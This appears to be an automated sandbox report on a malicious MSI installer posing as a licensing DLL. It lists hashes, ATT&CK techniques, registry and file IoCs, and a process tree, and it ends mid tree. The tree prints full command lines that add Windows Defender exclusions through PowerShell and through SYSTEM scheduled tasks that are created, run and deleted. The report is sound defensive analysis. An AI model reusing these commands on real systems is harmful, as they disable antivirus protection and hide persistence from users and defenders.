a28f7d9c69689e1679cb72aff40c6b196012e59b6298e62716b790ad7930803c

Analysis

max time kernel
150s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
31/07/2026, 03:38

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General

Target
install_mal005.msi
Size 7.5MB
Sample260731-d642batbmh
SHA256 a28f7d9c69689e1679cb72aff40c6b196012e59b6298e62716b790ad7930803c
MD5 53fb2fd1632e6e2821b0533d56618add
SHA1 d07cf27c6cefacf155a0523a5285b1f660899b60
SHA512 672d42069367715dff47a9c426801d3a4e708e1002425ee57391b106101781704e268146b01ca2cb69a97603ba6bea976ca5043455617a6c02c4aa3c6ca86a83
SSDEEP 196608:8JDpXvRhLBR/nDU6WVC2zFbP8B0FgYLiKJ:cDp/RNBJnh/2zdP00iYuKJ
TLSH
T1DD8633C5BCCA3BB5D053CBB4A59272AEBC187FE4BA728C4673D972085C727262375244
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence privilege_escalation ransomware trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\nRAxqR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4304	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2796	VR2ERD.exe

Loads dropped DLL 2 IoCs

pid	Process
5600	MsiExec.exe
2796	VR2ERD.exe

Modifies file permissions 1 TTPs 15 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4528	icacls.exe
3492	icacls.exe
5860	icacls.exe
1748	icacls.exe
4712	icacls.exe
4064	icacls.exe
3304	icacls.exe
1384	icacls.exe
2368	icacls.exe
4780	icacls.exe
5796	icacls.exe
4208	icacls.exe
1036	icacls.exe
3244	icacls.exe
1960	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\nRAxqR\\VR2ERD.exe\""	VR2ERD.exe

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
10	5600	MsiExec.exe
11	5600	MsiExec.exe
12	5600	MsiExec.exe
15	5600	MsiExec.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
2720	cmd.exe
5696	cmd.exe
4888	cmd.exe
2080	cmd.exe
2580	cmd.exe

Drops file in System32 directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0766DB9AB186806BB9A6B6802D3BA734	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0766DB9AB186806BB9A6B6802D3BA734	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B039FEA45CB4CC4BBACFC013C7C55604_FA4759C1FDA1D5B56F6A969553761240	MsiExec.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\D077F3BA01F0F2293C650040B1B80D25_46BE3773AFCF70DA60E4725C8326A576	MsiExec.exe
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	VR2ERD.exe

Drops file in Program Files directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\uD6k4s	VR2ERD.exe
File created	C:\Program Files (x86)\uD6k4s\XPSPLOG.dll	VR2ERD.exe
File created	C:\Program Files (x86)\uD6k4s\image.png	VR2ERD.exe
File opened for modification	C:\Program Files (x86)\uD6k4s\XPSPLOG.dll	VR2ERD.exe
File opened for modification	C:\Program Files (x86)\uD6k4s\image.png	VR2ERD.exe
File opened for modification	C:\Program Files (x86)\uD6k4s\thumbs.db	VR2ERD.exe
File created	C:\Program Files (x86)\uD6k4s\brahTk.exe	VR2ERD.exe
File created	C:\Program Files (x86)\uD6k4s\thumbs.db	VR2ERD.exe
File opened for modification	C:\Program Files (x86)\uD6k4s\brahTk.exe	VR2ERD.exe

Drops file in Windows directory 13 IoCs

description	ioc	Process
File created	C:\Windows\Installer\e59c8f3.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e59c8f3.msi	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\SystemTemp\~DFE3AD0F45821E6AAF.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID067.tmp	msiexec.exe
File created	C:\Windows\Installer\e59c8f5.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF3A61638B37D4B4AC.TMP	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\SystemTemp\~DF4CE4B9959A50B08A.TMP	msiexec.exe
File created	C:\Windows\Installer\SourceHash{4CA0D086-AA26-797D-3C5F-028810CDD1E6}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSICF9B.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DFF7929D6511374FE8.TMP	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
4084	msiexec.exe

Executes a command shell one-liner 1 TTPs 22 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5128	cmd.exe
1740	cmd.exe
912	cmd.exe
3764	cmd.exe
3772	cmd.exe
2996	cmd.exe
5616	cmd.exe
5584	cmd.exe
3144	cmd.exe
3600	cmd.exe
1508	cmd.exe
864	cmd.exe
4292	cmd.exe
4076	cmd.exe
4180	cmd.exe
4996	cmd.exe
5840	cmd.exe
4776	cmd.exe
4336	cmd.exe
3352	cmd.exe
4056	cmd.exe
5988	cmd.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000ffbf1fc65d8bbf350000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c0120000000000000000000000002701010000883801ffbf1fc60000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e84101ffbf1fc6000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e3ffbf1fc600000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e6ffbf1fc600000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	MsiExec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	MsiExec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	MsiExec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	MsiExec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E	msiexec.exe

Modifies registry class 22 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\680D0AC462AAD797C3F5208801DC1D6E	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\AuthorizedLUAApp = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\EE0DD599FAE22DB2585D0B62A28731E0\680D0AC462AAD797C3F5208801DC1D6E	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\Media	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\Version = "84017285"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\680D0AC462AAD797C3F5208801DC1D6E\UuueatYAD	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\ProductName = "ENCPP Licensing Dll"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\PackageCode = "4E59C05E417BE8046A8D71FFC0FBCC76"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\InstanceType = "0"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\PackageName = "install_mal005.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\EE0DD599FAE22DB2585D0B62A28731E0	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\Media\1 = ";"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\680D0AC462AAD797C3F5208801DC1D6E\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5604	schtasks.exe
4104	schtasks.exe
3336	schtasks.exe
864	schtasks.exe
5292	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5096	msiexec.exe
5096	msiexec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
5600	MsiExec.exe
2796	VR2ERD.exe
2796	VR2ERD.exe
2796	VR2ERD.exe
2796	VR2ERD.exe
2796	VR2ERD.exe
2796	VR2ERD.exe
2796	VR2ERD.exe
2796	VR2ERD.exe
2796	VR2ERD.exe
2796	VR2ERD.exe
2796	VR2ERD.exe
2796	VR2ERD.exe
2796	VR2ERD.exe
2796	VR2ERD.exe
2796	VR2ERD.exe
2796	VR2ERD.exe
2796	VR2ERD.exe
2796	VR2ERD.exe
2796	VR2ERD.exe
2796	VR2ERD.exe
2796	VR2ERD.exe
2796	VR2ERD.exe
2796	VR2ERD.exe
2796	VR2ERD.exe
2796	VR2ERD.exe
2796	VR2ERD.exe

Suspicious behavior: LoadsDriver 6 IoCs

pid	Process
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found
816	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4084	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4084	msiexec.exe
Token: SeSecurityPrivilege	5096	msiexec.exe
Token: SeCreateTokenPrivilege	4084	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4084	msiexec.exe
Token: SeLockMemoryPrivilege	4084	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4084	msiexec.exe
Token: SeMachineAccountPrivilege	4084	msiexec.exe
Token: SeTcbPrivilege	4084	msiexec.exe
Token: SeSecurityPrivilege	4084	msiexec.exe
Token: SeTakeOwnershipPrivilege	4084	msiexec.exe
Token: SeLoadDriverPrivilege	4084	msiexec.exe
Token: SeSystemProfilePrivilege	4084	msiexec.exe
Token: SeSystemtimePrivilege	4084	msiexec.exe
Token: SeProfSingleProcessPrivilege	4084	msiexec.exe
Token: SeIncBasePriorityPrivilege	4084	msiexec.exe
Token: SeCreatePagefilePrivilege	4084	msiexec.exe
Token: SeCreatePermanentPrivilege	4084	msiexec.exe
Token: SeBackupPrivilege	4084	msiexec.exe
Token: SeRestorePrivilege	4084	msiexec.exe
Token: SeShutdownPrivilege	4084	msiexec.exe
Token: SeDebugPrivilege	4084	msiexec.exe
Token: SeAuditPrivilege	4084	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4084	msiexec.exe
Token: SeChangeNotifyPrivilege	4084	msiexec.exe
Token: SeRemoteShutdownPrivilege	4084	msiexec.exe
Token: SeUndockPrivilege	4084	msiexec.exe
Token: SeSyncAgentPrivilege	4084	msiexec.exe
Token: SeEnableDelegationPrivilege	4084	msiexec.exe
Token: SeManageVolumePrivilege	4084	msiexec.exe
Token: SeImpersonatePrivilege	4084	msiexec.exe
Token: SeCreateGlobalPrivilege	4084	msiexec.exe
Token: SeBackupPrivilege	5036	vssvc.exe
Token: SeRestorePrivilege	5036	vssvc.exe
Token: SeAuditPrivilege	5036	vssvc.exe
Token: SeBackupPrivilege	5096	msiexec.exe
Token: SeRestorePrivilege	5096	msiexec.exe
Token: SeRestorePrivilege	5096	msiexec.exe
Token: SeTakeOwnershipPrivilege	5096	msiexec.exe
Token: SeRestorePrivilege	5096	msiexec.exe
Token: SeTakeOwnershipPrivilege	5096	msiexec.exe
Token: SeRestorePrivilege	5096	msiexec.exe
Token: SeTakeOwnershipPrivilege	5096	msiexec.exe
Token: SeBackupPrivilege	6072	srtasks.exe
Token: SeRestorePrivilege	6072	srtasks.exe
Token: SeSecurityPrivilege	6072	srtasks.exe
Token: SeTakeOwnershipPrivilege	6072	srtasks.exe
Token: SeBackupPrivilege	6072	srtasks.exe
Token: SeRestorePrivilege	6072	srtasks.exe
Token: SeSecurityPrivilege	6072	srtasks.exe
Token: SeTakeOwnershipPrivilege	6072	srtasks.exe
Token: SeRestorePrivilege	5096	msiexec.exe
Token: SeTakeOwnershipPrivilege	5096	msiexec.exe
Token: SeRestorePrivilege	5096	msiexec.exe
Token: SeTakeOwnershipPrivilege	5096	msiexec.exe
Token: SeRestorePrivilege	5096	msiexec.exe
Token: SeTakeOwnershipPrivilege	5096	msiexec.exe
Token: SeRestorePrivilege	5096	msiexec.exe
Token: SeTakeOwnershipPrivilege	5096	msiexec.exe
Token: SeRestorePrivilege	5096	msiexec.exe
Token: SeTakeOwnershipPrivilege	5096	msiexec.exe
Token: SeRestorePrivilege	5096	msiexec.exe
Token: SeTakeOwnershipPrivilege	5096	msiexec.exe
Token: SeRestorePrivilege	5096	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4084	msiexec.exe
4084	msiexec.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
4084	msiexec.exe
5096	msiexec.exe
5600	MsiExec.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 5096 wrote to memory of 6072	5096	msiexec.exe	94
PID 5096 wrote to memory of 5600	5096	msiexec.exe	96
PID 2796 wrote to memory of 4304	2796	VR2ERD.exe	100
PID 2796 wrote to memory of 5696	2796	VR2ERD.exe	102
PID 5696 wrote to memory of 864	5696	cmd.exe	104
PID 2796 wrote to memory of 4888	2796	VR2ERD.exe	105
PID 5696 wrote to memory of 3744	5696	cmd.exe	107
PID 4888 wrote to memory of 5292	4888	cmd.exe	109
PID 5696 wrote to memory of 5904	5696	cmd.exe	111
PID 4888 wrote to memory of 5288	4888	cmd.exe	113
PID 4888 wrote to memory of 2936	4888	cmd.exe	114
PID 2796 wrote to memory of 2080	2796	VR2ERD.exe	115
PID 2080 wrote to memory of 5604	2080	cmd.exe	117
PID 2080 wrote to memory of 1528	2080	cmd.exe	118
PID 2080 wrote to memory of 4540	2080	cmd.exe	121
PID 2796 wrote to memory of 2580	2796	VR2ERD.exe	123
PID 2580 wrote to memory of 4104	2580	cmd.exe	125
PID 2580 wrote to memory of 1636	2580	cmd.exe	126
PID 2580 wrote to memory of 1800	2580	cmd.exe	128
PID 1740 wrote to memory of 4780	1740	cmd.exe	130
PID 4776 wrote to memory of 4100	4776	cmd.exe	131
PID 3600 wrote to memory of 6072	3600	cmd.exe	132
PID 2796 wrote to memory of 2720	2796	VR2ERD.exe	133
PID 2720 wrote to memory of 3336	2720	cmd.exe	135
PID 2720 wrote to memory of 3756	2720	cmd.exe	136
PID 2720 wrote to memory of 2164	2720	cmd.exe	138
PID 4336 wrote to memory of 3020	4336	cmd.exe	141

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_mal005.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:4084

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5096
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:6072
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding ECEE160EBBCC5C8B9A0F01ECEB13FD52 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Badlisted process makes network request
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:5600

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:5036

C:\Users\Public\nRAxqR\VR2ERD.exe
"C:\Users\Public\nRAxqR\VR2ERD.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\nRAxqR\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:5696
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\nRAxqR\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:864
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3744
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4888
- - C:\Windows\system32\schtasks.exe
